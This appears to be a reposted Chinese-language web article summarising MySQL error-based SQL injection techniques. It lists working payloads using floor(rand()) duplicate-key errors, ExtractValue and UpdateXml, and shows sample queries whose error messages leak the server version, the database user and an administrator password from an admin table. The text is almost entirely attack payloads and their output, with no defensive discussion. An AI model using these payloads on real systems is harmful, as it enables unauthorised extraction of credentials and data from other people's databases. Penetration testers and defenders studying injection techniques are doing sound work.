mysql 注入報錯利用方法總結(jié)
1、通過floor報錯
可以通過如下一些利用代碼
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
舉例如下:
首先進(jìn)行正常查詢:
mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
| 1 | test | do it |
+—-+——-+———+
假如id輸入存在注入的話,可以通過如下語句進(jìn)行報錯。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’
可以看到成功爆出了Mysql的版本,如果需要查詢其他數(shù)據(jù),可以通過修改version()所在位置語句進(jìn)行查詢。
例如我們需要查詢管理員用戶名和密碼:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
2、ExtractValue
測試語句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
實際測試過程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’
3、UpdateXml
測試語句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
實際測試過程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。